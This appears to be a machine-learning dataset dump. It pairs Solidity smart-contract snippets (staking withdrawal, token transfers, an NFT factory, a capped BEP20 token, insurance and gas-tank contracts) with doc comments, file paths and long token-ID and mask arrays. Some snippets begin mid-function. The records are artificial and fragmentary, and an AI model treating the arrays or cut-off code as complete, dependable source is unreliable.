require(userPackages[msg.sender].tokenValue != 0); uint256 withdrawValue = userPackages[msg.sender].tokenValue.div(rate); uint256 dateDiff = now - userPackages[msg.sender].since; if (dateDiff < userPackages[msg.sender].kindOf.mul(30 days)) { uint256 fee = withdrawValue.mul(packageType[userPackages[msg.sender].kindOf]['fee']).div(100); withdrawValue = withdrawValue.sub(fee); coldWalletAddress.transfer(fee); userPackages[msg.sender].tokenValue = 0; } msg.sender.transfer(withdrawValue); } function createRawDeposit(address sender, uint256 _value, uint d, uint since) onlyOwner public { depositMintSince(sender, _value, d, since); } function createDeposit(address sender, uint256 _value, uint d) onlyOwner public { depositMintAndPay(sender, _value, d); } function setRate(uint _newRate) onlyOwner public { require(_newRate != rate && _newRate > 0); RateChanged(rate, _newRate); rate = _newRate; } function getRate() public view returns (uint) { return rate; } }
SafeMath.sub will throw an error if there is not enough balance.
function _transfer(address _from, address _to, uint256 _value) private returns (bool) { require(_to != address(0)); require(_value <= rewardBalances[_from]); rewardBalances[_from] = rewardBalances[_from].sub(_value); rewardBalances[_to] = rewardBalances[_to].add(_value); Transfer(_from, _to, _value); return true; }
13,015,567
[ 1, 9890, 10477, 18, 1717, 903, 604, 392, 555, 309, 1915, 353, 486, 7304, 11013, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 1132, 13, 3238, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 24899, 869, 480, 1758, 12, 20, 10019, 203, 3639, 2583, 24899, 1132, 1648, 19890, 38, 26488, 63, 67, 2080, 19226, 203, 203, 3639, 19890, 38, 26488, 63, 67, 2080, 65, 273, 19890, 38, 26488, 63, 67, 2080, 8009, 1717, 24899, 1132, 1769, 203, 3639, 19890, 38, 26488, 63, 67, 869, 65, 273, 19890, 38, 26488, 63, 67, 869, 8009, 1289, 24899, 1132, 1769, 203, 3639, 12279, 24899, 2080, 16, 389, 869, 16, 389, 1132, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; import "./Migrations.sol"; import "./safemath.sol"; contract GaoFactory is Migrations { using SafeMath for uint256; using SafeMath32 for uint32; using SafeMath16 for uint16; event NewGao(address owner, uint256 gaoID, uint16 gao_type, uint origin, bool mature, uint64 birthTime, uint16 bonding, uint16 level); event Transfer(address _from, address _to, uint256 tokenId); struct Gao { bool mature; uint origin; // {1:'phoenix', 2:'bat'} uint64 birthTime; uint32 eventId; uint16 bonding; // Max 100 uint16 level; // Max 100 uint16 gao_type; // common, rare, legend uint16[3] ability; // [fly, swim, run] uint8[4] dna; // head, wing, hands, legs } Gao[] public gaos; mapping (uint256 => address) public gaoIndexToOwner; mapping (address => uint256) ownershipTokenCount; mapping (uint256 => address) public gaoIndexToApproved; function _transfer(address _from, address _to, uint256 _tokenId) internal { ownershipTokenCount[_to]++; // transfer ownership gaoIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete gaoIndexToApproved[_tokenId]; } // Emit the transfer event. emit Transfer(_from, _to, _tokenId); } function _createGao( address _owner, uint _origin, uint16 _gao_type, uint32 _eventId ) internal returns (uint) { Gao memory _gao = Gao({ mature: false, origin: _origin, birthTime: uint64(now), eventId: _eventId, bonding: 0, level: 1, gao_type: _gao_type, dna: [uint8(0), uint8(0), uint8(0), uint8(0)], ability: [uint16(0), uint16(0), uint16(0)] }); uint256 newGaoId = gaos.push(_gao) - 1; // Make sure number of Gao never cross 4 billion. require(newGaoId == uint256(uint32(newGaoId))); //emit event NewGao emit NewGao(_owner, newGaoId, _gao.gao_type, _gao.origin, _gao.mature, _gao.birthTime, _gao.bonding, _gao.level); _transfer(address(0), _owner, newGaoId); return newGaoId; } }
Make sure number of Gao never cross 4 billion.
require(newGaoId == uint256(uint32(newGaoId)));
2,496,674
[ 1, 6464, 3071, 1300, 434, 611, 6033, 5903, 6828, 1059, 20714, 285, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 2704, 43, 6033, 548, 422, 2254, 5034, 12, 11890, 1578, 12, 2704, 43, 6033, 548, 3719, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x0e497372854274cD8E8D9c91abe93493c0417Ea6/sources/contracts/token_nut.sol
* @dev Implementation of the {IBEP20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {BEP20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of BEP20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IBEP20-approve}./
contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private MAXCAP; uint256 constant MAXCAPSUPPLY=69420*10**18; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function getOwner() external override view returns (address) { return owner(); } function name() public override view returns (string memory) { return _name; } function symbol() public override view returns (string memory) { return _symbol; } function decimals() public override view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function maxSupply() public pure returns (uint256) { return MAXCAPSUPPLY; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance') ); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function _transfer (address sender, address recipient, uint256 amount) internal { require(sender != address(0), 'BEP20: transfer from the zero address'); require(recipient != address(0), 'BEP20: transfer to the zero address'); _balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), 'BEP20: mint to the zero address'); require((MAXCAP+amount)<=MAXCAPSUPPLY,"Max supply reached"); _totalSupply = _totalSupply.add(amount); MAXCAP=MAXCAP.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), 'BEP20: burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve (address owner, address spender, uint256 amount) internal { require(owner != address(0), 'BEP20: approve from the zero address'); require(spender != address(0), 'BEP20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance')); } }
3,745,209
[ 1, 13621, 434, 326, 288, 45, 5948, 52, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 5948, 52, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 9722, 52, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 9722, 52, 3462, 353, 1772, 16, 467, 5948, 52, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 2254, 5034, 3238, 4552, 17296, 31, 203, 565, 2254, 5034, 5381, 4552, 17296, 13272, 23893, 33, 8148, 24, 3462, 14, 2163, 636, 2643, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 203, 203, 565, 3885, 12, 1080, 3778, 508, 16, 533, 3778, 3273, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 3639, 389, 31734, 273, 6549, 31, 203, 565, 289, 203, 203, 565, 445, 13782, 1435, 3903, 3849, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 3410, 5621, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 3849, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 3849, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 3849, 1476, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 389, 31734, 31, 203, 565, 289, 203, 203, 2 ]
./partial_match/1/0xd156a09704171AFe371572D4Aece2F75112B9677/sources/src/GasTankModule.sol
* @dev Used for removing a `_delegate` for a safe which will be used as a gas tank. To make sure the owners of the safe agreed upon removing this delegate it uses the msg.sender, so this function should be called through a transaction from the safe. @param _delegate The address of the delegate./
function removeDelegate(address _delegate) external { if (_delegate == address(0)) revert GasTankModule__removeDelegate_invalidDelegate(); delegates[msg.sender].remove(_delegate); delegatedGasTanks[_delegate].remove(msg.sender); emit RemoveDelegate(msg.sender, _delegate); }
9,412,622
[ 1, 6668, 364, 9427, 279, 1375, 67, 22216, 68, 364, 279, 4183, 1492, 903, 506, 1399, 487, 279, 16189, 268, 2304, 18, 2974, 1221, 3071, 326, 25937, 434, 326, 4183, 1737, 15656, 12318, 9427, 333, 7152, 518, 4692, 326, 1234, 18, 15330, 16, 1427, 333, 445, 1410, 506, 2566, 3059, 279, 2492, 628, 326, 4183, 18, 225, 389, 22216, 1021, 1758, 434, 326, 7152, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 9586, 12, 2867, 389, 22216, 13, 3903, 288, 203, 3639, 309, 261, 67, 22216, 422, 1758, 12, 20, 3719, 15226, 31849, 56, 2304, 3120, 972, 4479, 9586, 67, 5387, 9586, 5621, 203, 203, 3639, 22310, 63, 3576, 18, 15330, 8009, 4479, 24899, 22216, 1769, 203, 3639, 30055, 27998, 56, 19965, 63, 67, 22216, 8009, 4479, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 3626, 3581, 9586, 12, 3576, 18, 15330, 16, 389, 22216, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xeFFe069b1c62c2f55F41A501eCc3c6Ff4dB6D70a/sources/src/modules/price-router/PriceRouter.sol
* @notice Returns Chainlink Derivative Storage/
mapping(ERC20 => ChainlinkDerivativeStorage) public getChainlinkDerivativeStorage;
3,124,367
[ 1, 1356, 7824, 1232, 14969, 427, 1535, 5235, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 654, 39, 3462, 516, 7824, 1232, 26239, 1535, 3245, 13, 1071, 30170, 1232, 26239, 1535, 3245, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false address[] airlines; mapping(address => bool) private RegisteredAirline; mapping(address => uint256) private airlineAttributes; mapping(address => uint256) private approved; mapping(address => uint256) private balance; mapping(bytes32 => address[]) private airlineinsurees; mapping(address => mapping(bytes32 => uint256)) amountOfInsurance; mapping(bytes32 => mapping(address => uint256)) payoutOfInsurance; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ /** * @dev Constructor * The deploying account becomes contractOwner */ constructor(address firstAirline) public { contractOwner = msg.sender; RegisteredAirline[firstAirline] = true; airlines.push(firstAirline); } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireIsAirlineRegistered(address caller) { require(RegisteredAirline[caller] == true, "Caller is not registered"); _; } modifier requireNotRegistered(address airline) { require( RegisteredAirline[airline] == false, "Airline already registered" ); _; } modifier requireIsAuthorized() { require( approved[msg.sender] == 1, "Caller is not contract owner" ); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isAirline(address airline) public view returns (bool) { return RegisteredAirline[airline]; } function isOperational() public view returns(bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus ( bool mode ) external requireContractOwner { operational = mode; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function authorizedCaller(address contractAddress) external requireContractOwner { approved[contractAddress] = 1; } function unauthorizedCaller(address contractAddress) external requireContractOwner { delete approved[contractAddress]; } function registerAirline(address airline) external requireIsOperational requireIsAuthorized requireNotRegistered(airline) returns (bool success) { require(airline != address(0)); RegisteredAirline[airline] = true; airlines.push(airline); return RegisteredAirline[airline]; } /** * @dev Buy insurance for a flight * */ function buy( address airline, string flight, uint256 _timestamp, address passenger, uint256 amount )external requireIsOperational requireIsAuthorized requireIsAirlineRegistered(airline) { bytes32 flightkey = getKeyOfFlight(airline, flight, _timestamp); airlineinsurees[flightkey].push(passenger); amountOfInsurance[passenger][flightkey] = amount; payoutOfInsurance[flightkey][passenger] = 0; } uint256 public total = 0; /** * @dev Credits payouts to insurees */ function creditInsurees( address airline, string flight, uint256 timestamp, uint256 factor_numerator, uint256 factor_denominator )external requireIsOperational requireIsAuthorized { //get all the insurees bytes32 flightkey = getKeyOfFlight(airline, flight, timestamp); address[] storage insurees = airlineinsurees[flightkey]; for (uint8 i = 0; i < insurees.length; i++) { address passenger = insurees[i]; uint256 payout; uint256 amount = amountOfInsurance[passenger][flightkey]; uint256 paid = payoutOfInsurance[flightkey][passenger]; if (paid == 0) { payout = amount.mul(factor_numerator).div(factor_denominator); payoutOfInsurance[flightkey][passenger] = payout; balance[passenger] += payout; } } } /** * @dev Transfers eligible payout funds to insuree * */ function pay( address airline, string flight, uint256 ts, address passenger, uint256 payout ) external requireIsOperational requireIsAuthorized { bytes32 flightkey = getKeyOfFlight(airline, flight, ts); payoutOfInsurance[flightkey][passenger] = payout; balance[passenger] += payout; } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund ( ) public payable { } function getKeyOfFlight ( address airline, string memory flight, uint256 timestamp ) pure internal returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } /** * @dev Fallback function for funding smart contract. * */ function() external payable { fund(); } }
*******************************************************************************************/ DATA VARIABLES */*******************************************************************************************/*******************************************************************************************/ EVENT DEFINITIONS */*******************************************************************************************/* @dev Constructor The deploying account becomes contractOwner/
constructor(address firstAirline) public { contractOwner = msg.sender; RegisteredAirline[firstAirline] = true; airlines.push(firstAirline); }
1,783,600
